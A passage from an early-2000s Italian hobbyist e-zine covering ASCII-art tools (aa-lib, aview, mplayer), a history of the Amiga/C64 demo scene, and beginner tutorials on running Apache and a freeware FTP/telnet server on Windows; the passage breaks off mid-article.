|geniali scelte delle piu' recenti distribuzioni di linux se avete fatto l'in- |
|stallazione di default potreste anche NON trovarvi un compilatore installato) |
| |
|Bene, ora abbiamo le librerie, il nostro sistema e' pronto per usarle, ci vuole |
|solo il software che le sfrutti. |
| |
|P.S. alla fine del comando ./configure ci viene data un importante informazione,|
|ovvero il driver "video" che le librerie hanno trovato installato e con cui di |
|conseguenza funzioneranno, puo' essere uno dei seguenti: |
| |
| linux, X11, slang, stdout, stderr |
| |
|Non e' necessario ricordarlo ma se smanetterete un po potrebbe esservi utile, in|
|tal caso potete sempre lanciare il comando "aainfo" x avere queste informazioni |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Installare aview |
| |
|Per prima cosa installeremo un semplice programmino che ci consente di visualiz-|
|zare le nostre immagini in caratteri Ascii. |
| |
|Scaricate i sorgenti dal sito delle aa-lib |
|(ripeto http://aa-project.sourceforge.net) |
|e compilateli allo stesso modo di come e' stato descritto sopra per le aa-lib. |
|installato il programma digitate aview --help per una lista dei comandi disponi-|
|bili (si dice sempre cosi' :). se siete lame e avete subito voglia di provare |
|fate semplicemente: |
| |
| aaview vostra_immagine.pnm |
| |
|.pnm ?? e che e'?? e' un formato usato per le immagini... convertire da jpg, |
|png, gif o qualsiasi altra cosa e' semplicissimo basta un programma di foto |
|editing come gimp o image magick. |
| |
|Visto ?? vi e' piaciuta la vostra faccina o la vostro foto porno preferita in |
|Ascii?? |
|Bene, sono contento ... ora mentre avete lo screen dell'ascii aperto premete "h"|
|e potrete scoprire come fare a salvare la vostra immagine in un formato adatto a|
|quello che dovete fare. |
| |
|E' possibile salvarla per incollarla su un canale irc (quindi solo testo) |
|salvarla in png (anche grafica) in html (addirittura pure in html) o altri for- |
|mati che ora non mi sovvengono :P c'e' gente che ha sviluppato un programmino |
|per trasmettere immagini da una webcam in ascii, sono amici miei di qui, non so |
|se troverete roba su internet, cmq ci sono molti programmi che fanno cose simili|
|sempre col supporto delle aa-lib. |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Non solo immagini! |
| |
|Ora viene la parte piu' succosa :) |
|Esistono anche dei programmi che parmettono di vedere i video in ascii! tra i |
|tanti (oddio) ce n'e' uno che vi consiglio assolutamente, non solo per gli ascii|
|permette di vedere anche i divx e supporta un casino di formati (tra cui quelli |
|di winzozzo). |
| |
|Si chiama mplayer e lo potete scaricare (correlato di accessori vari tipo skin, |
|fonts, ecc.) su http://www.mplayerhq.hu |
|Una volta scaricati i sorgenti compilateli: |
| |
| ./configure --enable-gui && make && make install |
| |
|per vedere i video "normalmente" consultate la documentazione fornita con i sor-|
|genti relativi alle vostre schede mutlimediali (audio e video) per quanto ri- |
|guarda l'Ascii Art, se avete gia' installato le aa-lib mplayer le riconoscera' |
|al comando ./configure e vi sara' necessario specificare come driver out "aa": |
| |
| mplayer -vo aa nomefile.avi |
| |
|WOOOOOWW mi sto vedendo un film in Ascii!! |
| |
|finita l'eccitazione noterete che ci sono varie opzioni relative al driver delle|
|libs, potete sempre fare riferimento alla documentazione per un uso piu' appro- |
|fondito. |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Conclusioni |
| |
|Beh, io vi ho dato un piccolo spunto su quello che di carino si puo' fare, come |
|avrete notato sul sito delle aa-lib stanno cercando di fare il porting d

  
elle |
|librerie su tutte le piattaforme ... (addirittura lo zx spectrum) esiste gia'una|
|versione per win32, ma nn so se c'e' del software che la sfrutta. |
|Inoltre se siete dei programmatori, potrete provare a scrivere qualcosa che |
|includa le aa-lib aiutando cosi' lo sviluppo di questo grande progetto ovvia- |
|mente open source :) |
| |
+--------------------------------------------------------------------------------+
| |
| [-] Saluti e cazzate finali |
| |
|Spero di non avervi annoiato, in ogni caso ora probabilmente vi annoierete lo |
|stesso: Saluto la mia ex-ragazza (fino a qualche giorno fa era tutto perfetto |
|:() e colgo l'occasione per dire che mi manca tantissimo, ringrazio tutti quelli|
|che mi hanno dato l'opportunita' di scrivere questo txt, saluto gli amici della |
|mojodo crew e gli mando un "in bocca al lupo" |
| |
| Ciao alla prox :) |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
|Gick Zine n° 1 - [GRAFICA] -=[06]=- |
|L'angolo della Demo Scene Gaetano |
+--------------------------------------------------------------------------------+
| |
|Cerchiamo di conoscere i programmi più strani mai concepiti su un computer e |
|tutto il caratteristico ambiente (è meglio dire underground) che li ha partoriti|
|le demo. |
| |
+--------------------------------------------------------------------------------+
| |
|Cosa è una demo? |
| |
|Si tratta, a mio avviso, della prima forma di vera multimedialità mai realizzata|
|e risale addirittura ai tempi del C64. |
|Una demo è un insieme di codice, grafica e musica del tutto priva o con minima |
|interazione con l'utente, che mostra una serie di effetti speciali, animazioni, |
|giochi di luci, forme e colori del tutto fini a se stessi! |
|Una demo non serve a nulla: si vede e basta. |
| |
|Però guardare una demo è come guardare un video musicale, anzi di più! |
| |
|Spesso mostra ciò che può REALMENTE fare un computer se spinto al massimo delle |
|sue capacità (certe demo su A500 sono incredibili nonostante le esigue dotazioni|
|di una "macchinetta" con soli 7,14 MHz ed 1 Mb di ram, quando oggi 100 MHz e 1Gb|
|sono decisamente pochi!). |
| |
|Dico "realmente" per un semplice motivo: una demo non si compra, non si vende, |
|non ha "validità commerciale" ed è fatta da programmatori che si divertono sul e|
|con il proprio computer, quindi disinteressatamente provano a spingerlo oltre le|
|sue capacità. Nel contempo mostrano anche le loro capacità di programmatori, |
|acquistando fama in tutto il mondo per ciò che sono riusciti a fare! |
| |
|Ovviamente un programmatore, in gergo "coder", non sempre sa anche disegnare |
|bene o comporre musiche di qualità, quindi per migliorare la sua demo collabora |
|sinergicamente con dei "graphician" (grafici) e "musician" (musicisti) che gli |
|forniscono il materiale grafico e sonoro necessario. |
| |
|Spesso il coder tecnicamente è bravissimo ma non ha un minimo di inventiva! |
|E poiché una serie di effetti speciali o immagini ha più effetto se sono nella |
|giusta sequenza, bisogna studiare la sequenza migliore per ottenere il migliore |
|effetto. Quindi è spesso presente anche un designer che coordina il lavoro di |
|tutti per ottenere la giusta composizione: un vero e proprio regista. Una volta |
|terminata la demo, bisogna farla vedere al resto del mondo e per diffonderla il |
|più rapidamente possibile (specie quando Internet non era ancora diffuso come |
|adesso) ci vuole gente con i contatti giusti che la distribuisca capillarmente, |
|cioè gli swappers. |
| |
|Insomma da semplici demo-nstration (dimostrazioni) delle capacità di coder, |
|graphician e musician, le demo divengono grossi progetti, spesso di notevole |
|livello artistico, con una complessa organizzazione alle spalle e tutto assolu- |
|tamente solo per la gloria! |
| |
|Perché una demo mi dovrebbe interessare? |
| |
|Questo discorso è soggettivo, ma va inquadrato nel giusto modo. Si può facilmen-|
|te pensare: "una demo non serve a nulla, quindi non merita per nulla la mia |
|attenzione". Sbagliato! |
| |
|Dietro alle demo si nascondono tecniche d'avanguardia per la realizzazione di |
|effetti speciali via codice, via grafica e via musica quasi sempre implementate |
|subito dopo nei migliori videogiochi in commercio. |
| |
|Un esempio? Nel 1991 Cube-O-Matic di Buddha/Spreadpoint mostrava per primo su |
|Amiga 500 un cubo 3d in movimento con i lati coperti da schermate grafiche ed |
|animazioni (il famoso texture mapping di cui Doom è pieno) e con l'ombreggiatura|
|dei lati in base al movimento (il cosiddetto shading). |
|Pensateci mentre guardate i giochi più recenti e ricordate che Genetic Species è|
|fatto da Powdihacker/Ambrosia e Trapped 1 e 2 è un progetto degli Oxyron deriva-|
|to dal motore 3d della demo Temple of Decease. |
| |
|Inoltre se c'è un modo per far sbiancare un Peeceesta con un misero A500, è |
|proprio fargli vedere una bella demo psichedelica e poi dirgli che gira su un |
|computer a 7 Mhz! |
| |
|Ovviamente esistono demo su anche PC, spesso di qualita' indiscutibile, ma manca|
|la tradizione che ha reso la Scena Demo Amiga una delle migliori e che sforna |
|regolarmente demo dello stesso livello qualitativo (se non superiore), che |
|girano a velocità decisamente inferiori (max. 50 MHz) e su processori tecnica- |
|mente obsoleti". |
|Sappiate però che molti dei migliori attuali coders PC sono ex-coders Amiga! |
| |
+--------------------------------------------------------------------------------+
| |
|Come nascono le demo |
| |
|Le demo sono una diretta evoluzione delle intro che i crackers (non quelli che |
|si mangiano, ma i pirati software) ponevano davanti ai giochi o programmi |
|piratati per dichiarare a tutti nel modo più evidente ed efficace possibile che |
|li avevano crackati loro, e che spesso erano molto più belle dei giochi stessi! |
|I programmatori professionisti hanno sempre accusato i crackers di essere degli |
|incapaci, bravi solo a sproteggere giochi, ma che non sapevano realizzare niente|
|di tecnicamente valido. Beh, le demo erano lo schiaffo morale risposto dei |
|crackers! Era la seconda metà degli anni '80: tempi pionieristici del C64. |
| |
|Poi i gruppi di pirati si sono organizzati meglio. Molta gente si specializzava |
|nel fare intro e demo per altri crackers (del proprio o di altri gruppi) previo |
|pagamento da parte di questi ultimi (davvero capaci solo di crackare e basta e |
|spesso neanche bene!) in denaro o in programmi crackati. Spesso si formavano |
|"sezioni demo" del gruppo di pirati, come i famosissimi Fairlight con due delle |
|migliori "demo section" a livello mondiale, una su C64 e l'altra su Amiga, anzi |
|questi ultimi erano così in gamba da meritarsi un minimo di autonomia e |
|chiamarsi Virtual Dreams/ Fairlight (quel "/Fairlight" indica comunque |
|l'appartenenza al gruppo). |
| |
|Insomma molta gente si era scocciata di crackare e piratare programmi e basta e |
|volevano fare qualcosa di legale, anche perché era più divertente e soprattutto |
|proficuo senza alcun rischio (la pirateria nell'Europa del nord è presa molto |
|seriamente dalle autorità e l'arresto è frequente). Nascono così i primi "demo |
|-groups". |
| |
|Chiariamo con un esempio eclatante il concetto di "proficuo senza rischio". Se |
|qualcuno ricorda i bei tempi del C64, avrà sicuramente sentito le musiche dei |
|Maniacs of Noise (Jeroen Tel e Charles Deenen). Il nickname (soprannome) di |
|Charles Deenen nell'ambiente era TMC ovvero The Mercenary Cracker! Beh, dopo |
|aver lavorato per qualsiasi ditta abbia prodotto giochi per C64 (ed erano |
|richiestissimi: un gioco con le musiche dei MoN era garanzia di qualita!) ed |
|aver fatto molte musiche anche su Amiga, Charles Deenen è da anni a capo della |
|settore musicale della Interplay: le musiche di Descent (per citare un gioco |
|particolarmente noto) sono sue. |
| |
|Ho parlato di "ambiente", perché i vari gruppi di pirati e demo groups erano |
|sempre in contatto tra loro e in qualche modo si conoscevano (almeno via modem).|
|Insomma pian piano si andava delineando quella che poi sarà chiamata la Scena. |
| |
|Ma l'evento più importante che avrebbe cambiato il mondo stava arrivando. |
|Era la fine degli '80 / inizi '90: era nato l'Amiga. |
|Un computer con inaudite capacità tecniche, facile da programmare e incredi- |
|bilmente versatile, che faceva proseliti ovunque e fin dalle sue origini contava|
|un folto numero di demo groups dovunque in contatto tra loro: si era formata la |
|Scena Amiga. Il resto è storia dei giorni nostri. |
| |
+--------------------------------------------------------------------------------+
| |
|Regole e abitudini della Scena |
| |
|Poche regole: chiunque abbia prodotto qualcosa a livello demo è uno "scener" e |
|per farsi riconoscere da tutti ha il suo nickname ed il suo gruppo di apparte- |
|nenza. Il "nick" è un nome di battaglia di ovvia derivazione piratesca: |
|diffondere il proprio nome tra pirati è stupido, la polizia ti becca subito, |
|mentre con un nomignolo solo pochi intimi conoscono il tuo vero nome ed è meno |
|rischioso. Del resto è difficile per qualunque straniero pronuciare nomi stra- |
|nieri senza storpiarli, quindi Azure/Artwork, Lazur/Nah-Kolor o Moby/Sanity |
|saranno più facili da ricordare del vero nome tedesco, polacco e francese e |
|danno quel divertente tocco di mistero in più. L'accoppiata nickname/gruppo di |
|appartenenza va sempre insieme perché identifica lo scener e nel bene e nel male|
|diffonde la nomea del suo gruppo, specie quando lo scener "è molto attivo", cioè|
|produce sempre qualcosa di nuovo. |
| |
|"Friendship rules" (l'amicizia domina), ma nonostante l'amicizia uno scener deve|
|produrre qualcosa per il gruppo, altrimenti viene "kickato" (cacciato) per |
|inattività. L'amicizia vale tra i componenti del gruppo, ma non necessariamente |
|tra due gruppi e le wars (guerre) tra gruppi specie in tempi passati erano |
|comuni tanto che spesso si legge nel bel mezzo di una demo piuttosto datata un |
|bel "fuckings to" (vaffan.. a) qualcuno che ha detto o fatto qualcosa contro di |
|loro! |
| |
|Bisogna avere rispetto per i gruppi che dimostrano di saper fare qualcosa di |
|"cool" (figo) o di essere buoni amici, e gli vanno fatti i "greetings" (saluti).|
|C'è una gerarchia e specie se si è agli inizi e le proprie produzioni non sono |
|granché, molti sceners bravi che si considerano "elite" potrebbero chiamare i |
|neofiti "lamer" (zoppo, cioè incapace). |
| |
|Infine ci sono le riunioni per conoscersi e scambiare le proprie demo ed |
|esperienze tecniche. Nei primi tempi li chiamavano "copy-party": un gruppo di |
|ragazzi (spesso quasi tutti pirati) si riunivano a casa di qualcuno, portavano |
|materiale già crackato o demo inedite o anche roba originale da crackare insieme|
|a tutti gli altri. |
| |
|Poi la cosa si è MOLTO evoluta: la casa di quel qualcuno non era mai grande |
|abbastanza e non la si poteva occupare per 2-3 giorni di seguito con più di una |
|decina di persone straniere! Quindi qualche gruppo ha pensato di unire le |
|proprie forze, spendere qualche soldo ed affittare un locale o un capannone e |
|magari con un piccolo contributo spese (biglietto di ingresso) si sarebbe |
|organizzata una vera e propria gara-spettacolo di demo. Magari approfittando |
|della locale fiera per computer. Queste erano le "conference". |
| |
|Ma quando l'organizzazione è ben fatta, ci sono premi in denaro o in periferiche|
|per computer, c'è spazio, tavoli per lavorare, un servizio mensa, un'area |
|dormitorio (obbligatorio il sacco a pelo) e servizi igienici, può venire più |
|gente! Così nascono i "Party". |
|Il primo "esperimento in grande" di questo tipo venne tentato il 26 dicembre |
|1991 ad Aars in Danimarca. |
| |
|Si chiamava The Party '91 ed erano presenti 1200 persone provenienti da tutta |
|Europa per parlare, vedere e gareggiare con le proprie demo. |
| |
|Da allora e per 8 anni consecutivi dal 27 al 30 dicemebre in Danimarca ogni anno|
|c'e' un The Party. |
| |
+--------------------------------------------------------------------------------+
| |
| Gaetano |
| |
+--------------------------------------------------------------------------------+


__ __ _
\ \ / /_ _ _ __(_)
\ \ / / _` | '__| |
\ V / (_| | | | |
\_/ \__,_|_| |_|



+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [VARI] -=[07]=- |
| 0GGi Mi M0NT0 UN WEB SERVER SU WiND0WS [Screener_it] |
+--------------------------------------------------------------------------------+
| |
| ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- |
| OGGI MI MONTO UN WEB SERVER su WINDOWS |
| ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- |
| |
| |
| Autore: Screener_it |
| email: screener_it@freemail.it |
| URL: http://go.to/tankcommandos - www.tankcommando.org |
| DATA: 26/04/01 |
| |
+--------------------------------------------------------------------------------+
| |
| Non so proprio che fare quindi scrivo quest'articoletto... Sperando che sia di |
|vostro grandimento... |
| |
| Allora... Cominciamo dall'inizio (e da dove cominciavamo, altrimenti? |
|Dalla fine?). Cos'è un Web Server? |
|Semplice. Un web server è un demone che se ne sta in ascolto in genere sulla |
|porta 80 e che regola le connessioni che riceve... |
|Noto più comunemente come demone HTTPD. |
|Chiaro? No? Insomma, quando voi vi collegate a un sito come fate? Aprite il |
|vostro browser [Netscape, Opera, Explorer, ecc..] e scrivete l'URL della pagina |
|che volete visitare... |
|Il DNS del vostro provider (non importa se non sapete cos'è..) trasforma l'URL |
|in indirizzo Ip (es microsoft.com = 254.254.254.254) e indirizza la vostra ri- |
|chiesta alla macchina che risponde a quell'indirizzo ip che provvederà a rispon-|
|dervi con la pagina che avete richiesto... |
|Ma a rispondervi non è la macchina, bensì un programma [demone HTTPD] predispos-|
|to a ciò... |
| |
|Direi che più chiaro di così è difficile!!! |
| |
|Allora, avete capito cos'è un Web Server. Resta il problema di come montarlo... |
| |
+--------------------------------------------------------------------------------+
| |
|Oggi come oggi, con il livello raggiunto da molti pacchetti, montarsi un Web |
|Server è relativamente semplice e richiede conoscenze che si possono acquisire |
|in 5 minuti netti... |
|Naturalmente una cosa è montare un web server, un'altra cosa è amministrarlo, |
|aggiornarlo, ecc... |
| |
|Attualmente esistono decine di demoni HTTPD.. I più famosi ed usati sono: |
| |
| 1) Apache web server |
| 2) Microsoft IIS |
| 3) Netscape Enterprise |
| |
|Io vi parlerò di Apache Web Server, per un paio di motivi non da poco: |
| |
| a) E' gratuito |
| b) E' multipiattaforma [Linux, Win, MAC] |
| c) E' Open Source |
| d) E' il più diffuso [almeno a sentire punto-informatico.it] |
| |
+--------------------------------------------------------------------------------+
| |
|Apache è un web server nato con Linux e ne condivide con lui le caratteristiche |
|principali, cioè la gratuità e l'open source. Probabilmente queste caratteristi-|
|che, che lo rendono personalizzabile da ogni admin ne fanno il demone più usato.|
| |
| 1) Dove scaricarlo? |
| |
|Semplice: Andate su http://httpd.apache.org/dist/httpd/binaries/win32/ |
|e troverete dei file con nomi particolari che ne indicano il tipo. |
| |
|Un esempio è : apache_1.3.19-win32-no_src-r2.ms |
| |
| [Vedere Apache.zip] |
| |
|La prima parola è apache... Non credo che ci sia molto da dire... |
|Poi c'è la versione, in questo caso 1.3.19 |
|Poi il tipo di S.o. per cui è fatto quel file, Win32 in questo caso... |
|Poi c'è la sigla che indica se questo file contiene o meno i sorgenti, no_src |
|indica che non sono i sorgenti ma il server già compilato.. Se c'è src il file |
|contiene i sorgenti. |
|msi non è il Movimento Sociale Italiano, non preoccupatevi!!! |
|E' il MSI Installer Package... Ne sapete tanto che prima, vero? Beh, in parole |
|povere è un sistema inventato dalla MS per ridurre il peso dei file di setup.. |
|Funziona? Mah... |
| |
| 2) Multipiattaforma però... |
| |
|Però c'è un però. Infatti il programma è stato testato e creato per lavorare su:|
| |
| a) Windows NT |
| b) Windows 2000 |
| |
|Funziona anche su Win 95 & 98, però stando a quanto dichiara Apache.org chi lo |
|installa su Win 9* lo fà a proprio rischio e pericolo. |
|Io l'ho provato e vi assicuro che funziona egregiamente anche su Win 9*, ma bi- |
|sogna scaricare gli aggiornamenti che trovate sempre su |
| http://httpd.apache.org/dist/httpd/binaries/win32/ |
|in fondo alla pagina in base al vostro S.o. |
| |
|IMPORTANTE: se non scaricate il MSI Binary Distribution Packages non potrete |
|nemmeno installarlo Apache, chiaro? Installate prima questo aggiornamento e poi |
|potrete installare Apache. |
| |
| 3) Adesso comincia il bello... |
| |
|Ok, abbiamo scaricato il file |
|apache_1.3.19-win32-no_src-r2.ms |
|e abbiamo aggiornato il nostro windows (se necessario)... Adesso comincia ad |
|installare il tutto.. Facciamo dopo click sul file d'installazione nominata qui |
|sopra e cominciamo con l'installazione. Le solite storielle... Clicchiamo Next |
|Come al solito inserite il vostro nome e quello della vostra compagnia... |
| |
|Prima schermata importante: |
| |
| Server name: |
| Domain name: |
| administrative email account: |
| |
|Dipende da che uso volete farne... Se volete fare un server HTTP sul vostro pc, |
|quindi non avete dominio ecc.. impostate le prime 2 a 127.0.0.1 (che è l'ip che |
|indica il localhost) e come email mettete quella che preferite. |
|Se invece dovete installare Apache su un vero server compilate con i dati in |
|vostro possesso... |
| |
|Come directory d'installazione potete lasciare c:\programmi\Apache Group\Apache\|
|oppure potete cambiarla come più vi aggrada.. In questo txt io userò l'imposta- |
|zione di default. |
| |
|Ok, avete installato il tutto, ora riavviate... |
| |
| 4) E adesso? |
| |
|Adesso abbiamo installato il tutto e comincia il divertimento... |
|Prima di tutto dobbiamo controllare che tutto sia andato a posto... |
|Selezioniamo: |
|Start/Programmi/Apache httpd server/Start Apache in Console |
|Si apre una finestra di MS-DOS con la scritta "Apache/1.3.19 (Win32) running..".|
|Non chiudetela. Ora aprite il vostro browser preferito e come URL scrivete |
|127.0.0.1 [che come spiegato prima è l'ip che indica localhost, cioè il vostro |
|computer..]. |
|Se vi si apre una pagina con la scritta "Funziona! Il Server Web Apache e' stato|
|installato su questo sito Web.." ecc.. avete montato il vostro primo web server!|
|Complimenti... |
| |
|Però non siete neanche che a metà dell'opera. L'avete installato, sì... |
|Ma adesso dovete configurarlo. Chiudete il Prompt di Dos e anche il browser. Ora|
|dovete creare le vostre pagine configurare le porte capire come funzionano i log|
| |
+--------------------------------------------------------------------------------+
| |
|Con la configurazione di default le impostazione di Apache sono queste: |
| |
| a) Le pagine si trovano presso C:\Programmi\Apache Group\Apache\htdocs |
| b) I documenti (in inglese) che spiegano il tutto si trovano presso |
| C:\Programmi\Apache Group\Apache\htdocs\manual |
| c) La porta è la 80 |
| d) I file log sono contenuti in C:\Programmi\Apache Group\Apache\logs |
| e si dividono in: |
| 1) error.log: contiene gli errori rilevati dal demone |
| 2) access.log: contiene ora, ip e materiale prelevato dal web server |
| |
|Ogni cosa è configurabile secondo la propria necessità. Il file principale di |
|configurazione è httpd.conf che si trova nella cartella |
|C:\Programmi\Apache Group\Apache\conf |
| |
|Nella suddetta cartella troverete numerosi altri file e vedrete che tutti avran-|
|no dei doppioni tipo httpd.default.conf. Questi "doppioni" sono dei file di |
|default creati appositamente per gli utenti meno esperti che se distruggono o |
|modificano troppo gli originali *.conf posso cancellarli e usare i default.conf |
|che contengono le configurazioni di default della macchina. |
| |
|Ognuno di questi file può essere aperto con un editor qualunque di testo |
|(meglio notepad.exe) e modificati a piacimento. Ogni voce è commentata con |
|numerose righe di spiegazione (tutto in inglese, logico). |
|I commenti sono preceduti da #. |
| |
|Esempio: |
| |
| #Questo è un commento |
| Questa è una riga di comando |
| |
|Potete modificare i file di configurazione a vostro piacimento, ma dato che le |
|possibili modifiche e le voci sono davvero troppe vi rimando ai commenti dei |
|singoli file, che [anche se in inglese] sono davvero esaurienti. |
| |
|Qui mi atterrò alla configurazione standard. Una volta che avrete capito le basi|
|di Apache ne potrete anche modificare l'impostazione. Per adesso attenetevi allo|
|standard. |
| |
+--------------------------------------------------------------------------------+
| |
|Primo problema: Caricare il sito in modo che Apache faccia vedere le nostre |
|pagine invece di "Funziona! Il Server Web Apache e' stato installato su questo |
|sito Web..". |
| |
|Aprite C:\Programmi\Apache Group\Apache\htdocs e cancellate pure tutto il conte-|
|nuto TRANNE la cartella manual. Infatti le pagine che vedete sono solo pagine di|
|benvenuto di Apache in diverse lingue (inglese, francese, spagnolo, ecc..). |
|Nella cartella mettete le vostre PagineWeb/Immagini/Zip/Mp3 e quant'altro |
|vogliate... Ricordate che la prima pagina deve chiamarsi index.html.. |
|Mi raccomando!!! Bene... |
| |
|E adesso ? Fate partire Apache |
|(Start/Programmi/Apache httpd server/Start Apache in Console ) e aprite di nuovo|
|il browser. Nell'URL scrivete 127.0.0.1 e.. Se arrivate alle pagine che avete |
|caricato nella cartella C:\Programmi\Apache Group\Apache\htdocs allora è andato |
|tutto bene... |
|Altrimenti c'è qualcosa di sbagliato... Controllate bene che: |
| |
| 1) La prima pagina si chiami index.html |
| 2) Avete cancellato le pagine che c'erano prima come vi avevo detto? |
| 3) Se appare un messaggio con un numero di errore segnatevi il tutto e comuni- |
| catelo ad Apache insieme alla vostra configurazione.. Probabilmente avete |
| trovato un bug... |
| |
|Se avete già tutte le pagine in una cartella e non avete voglia di spostarle |
|nella cartella C:\Programmi\Apache Group\Apache\htdocs allora fate così: |
| |
| 1) Aprite httpd.conf con notepad |
| 2) Cercate le stringhe C:\Programmi\Apache Group\Apache\htdocs |
| 3) Modificatele con la cartella dove si trova il sito sul vostro PC. |
| |
|Ricordate che tutte le sottocartelle saranno accessibili. Esempio: se indicate |
|c:\sito sarà accessibile (anche se solo in lettura) anche c:\sito\password se |
|esiste o c:\sito\porno, ecc... |
| |
+--------------------------------------------------------------------------------+
| |
|Ok, adesso le pagine sono visibili... Vediamo i log... |
|Essi sono contenuti in C:\Programmi\Apache Group\Apache\logs di default. |
| |
|Potete leggerli con un qualsiasi editor (sempre consigliato notepad.exe). |
|Bisogna saperli leggere, ma è molto semplice!!! |
| |
| Ecco una riga di access.conf |
| |
| 127.0.0.1 - - [27/Apr/2001:16:14:47 +0200] "GET /apache_pb.gif HTTP/1.1" 304 - |
| |
| 127.0.0.1 ---> l'ip che vi ha fatto visita... |
| [27/Apr/2001:16:14:47 +0200] ---> la data |
| GET /apache_pb.gif HTTP/1.1 ---> il file che ha visualizzato |
| 304 ---> codice che indica l'avvenuta operazione... |
| |
| Qui invece vediamo una riga che indica un errore... |
| |
| 127.0.0.1 - - [27/Apr/2001:16:16:11 +0200] "GET /faq.html HTTP/1.1" 404 280 |
| |
| 127.0.0.1 ---> l'ip che vi ha fatto visita... |
| [27/Apr/2001:16:16:11 +0200] ---> la data |
| GET /faq.html HTTP/1.1 ---> il file che ha visualizzato |
| 404 ---> codice che indica "File Not Found" |
| |
|Nel file error.log ritroverete tutti gli errori con una spiegazione più completa|
| |
| [Fri Apr 27 16:16:11 2001] [error] [client 127.0.0.1] |
| File does not exist: c:/programmi/apache group/apache/htdocs/faq.html |
| |
|E' lo stesso evento di prima, vi dice che ha richiesto un file che non esisteva.|
| |
+--------------------------------------------------------------------------------+
| |
|Ok, adesso avete capito come si montano le pagine, ecc... |
|Resta il problema: come fanno gli altri ad accedere alle pagine che abbiamo sul |
|computer? Allora, prima di collegarvi a internet fate partire |
| Start/Programmi/Apache httpd server/Start Apache in Console. |
|Non chiudetelo e collegatevi a internet. Chiunque si collegherà al vostro ip |
|tramite un browser qualsiasi vedrà le vostre pagine. |
| |
|Un consiglio: dite agli amici mentre siete in IRC "Fammi un /whois e scrivi il |
|mio ip nella barra degli indirizzi di Internet Explorer... |
| |
|Vedrete che figurone :)) |
| |
|Mi raccomando: avete fatto tutto da soli, non conoscete nessun Screener_it e |
|questo txt non l'avete mai neanche visto... Anzi, questo txt non esiste proprio!|
| |
+--------------------------------------------------------------------------------+
| |
|Un paio di ringraziamenti: |
| |
| Bakunin [eheh, visto che il server me lo sono montanto anch'io?] |
| FeltonSpray [ma quanti caxxo di articoli mi mandi??? Basta :))] |
| tutti quelli del Tank Commandos [è grazie a voi che un piccolo progetto è diven|
| tato un grande sito..] |
| Kewl' [pure tu in quanto ad articoli non scherzi..] |
| Green Dragon [Inter - Herta & Inter - Viola sì.. Ma il derby no.. Codardo :))] |
| La Me Laùra [La conoset po' ti la me laùra? 'Peta che te la ciamo. Laùraaa!!!] |
| Tutti quei pazzi che pubblicano i miei articoli |
| Tutti quelli che mi salutano in IRC "Ma tu 6 quello che ha scritto.. Caxxo, nn |
| mi ricordo + che hai scritto !" :))] |
| |
|Un bel fanculo a quel GRANDE hacker che ha RUBATO materiale dal sito di noi Tank|
|e l'ha usato e modificato a suo piacimento.. Non serve il nome, chi ha la co- |
|scienza sporca ha capito !! |
| |
+--------------------------------------------------------------------------------+


.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.~'^'~.


+--------------------------------------------------------------------------------+
| Gick-Zine n° 1 - [VARI] -=[08]=- |
| Oggi mi montro l'FTP su Windows [Screener_it] |
+--------------------------------------------------------------------------------+
| |
| ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- |
| OGGI MI MONTO UN L'FTP su WINDOWS |
| ~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.-~-._.- |
| |
| |
| Autore: Screener_it |
| email: screener_it@freemail.it |
| URL: http://go.to/tankcommandos - www.tankcommando.org |
| DATA 15/05/01 |
| |
+--------------------------------------------------------------------------------+
| |
|Sono esattamente le 21.00 quando incomincio a scrivere questo txt... |
|Ho promesso a Tritemius che per il prossimo numero della ezine avrei buttato giù|
|qualcosa... E qualcosa ho buttato giù! |
| |
|Oggi parleremo di come montare un server ftp e un telnet funzionante! su Windows|
|in modo del tutto gratuito. |
| |
|La cosa non è facile come montare un WebServer (vedi txt "Mi monto un web server|
|su Windows" [articolo precedente]) ma tutto sommato fattibile. |
| |
|Ho visitato www.download.com e ho cercato FTP server.. Ho trovato più di quanto |
|sperassi. |
| |
|Fictional Daemon 4.1... Rapida occhiata... Windows 9*/NT... Perfetto, è freeware|
|appena 900 kb... E in più ha anche il telnet. |
| |
|Ok, partiamo con il download. |
| |
| [Vedere FictionalDaemon.zip] |
| |
|Finito. Adesso bisogna installarlo. |
| |
|L'installazione è classica... Anzi, più che classica è proprio semplicissima!!! |
|Un paio di next e ha già finito... |
| |
|Ok, ora il programma è installato in c:\programmi\FDaemon quindi io indicherò |
|sempre quella dir come riferimento. |
| |
|C'è anche il collegamento nel menù di avvio. Ok, facciamolo partire. |
| |
|Soliti bla, bla, bla.. "Sei d'accordo nell'utilizzo." Certo! Click. |
| |
|Ora parte la configurazione vera e propria. |
| |
+--------------------------------------------------------------------------------+
| |
|Appena avviato e accettate le condizioni mi dice che adesso dobbiamo creare un |
|account per l'amministratore. La cosa si fà interessante. |
|Ok, andiamo avanti. Mi fà scegliere pass & id. |
| |
|ID: screener_it (l'id del vostro root) |
|PASS: conlaminchiachescrivoquilamipass |
| |
|Altra finestra. "Attenzione, l'amministratore non ha alcun diritto per amminis-|
|trare le cartelle. Cliccare VFS per configurare." Va bene. |
| |
|Vicino a USER ID vedrete una menù a discesa e dovrete selezionare l'ID che avete|
|creato appena adesso e poi cliccare Show. |
| |
|Sotto di voi vedrete tutto l'elenco dei permessi dell'utente. SOno i classici. |
|Cmq facciamo un elenco per i meno esperti (come se io fossi esperto...) |
| |
| Execute: Permesso di eseguire programmi |
| Shutdow/reboot: Permesso di spegnere il pc |
| cd /dir: permesso di muoversi nelle dir |
| Set time/date: devo spiegarlo? |
| Kill/Close/Die/Userlogoff: permesso di intervenire sui processi del pc. |
| Schedult: permette di creare schedule, programmi cioè che si ripetono |
| Usermanager: permette di controllare gli accessi in base all'ip |
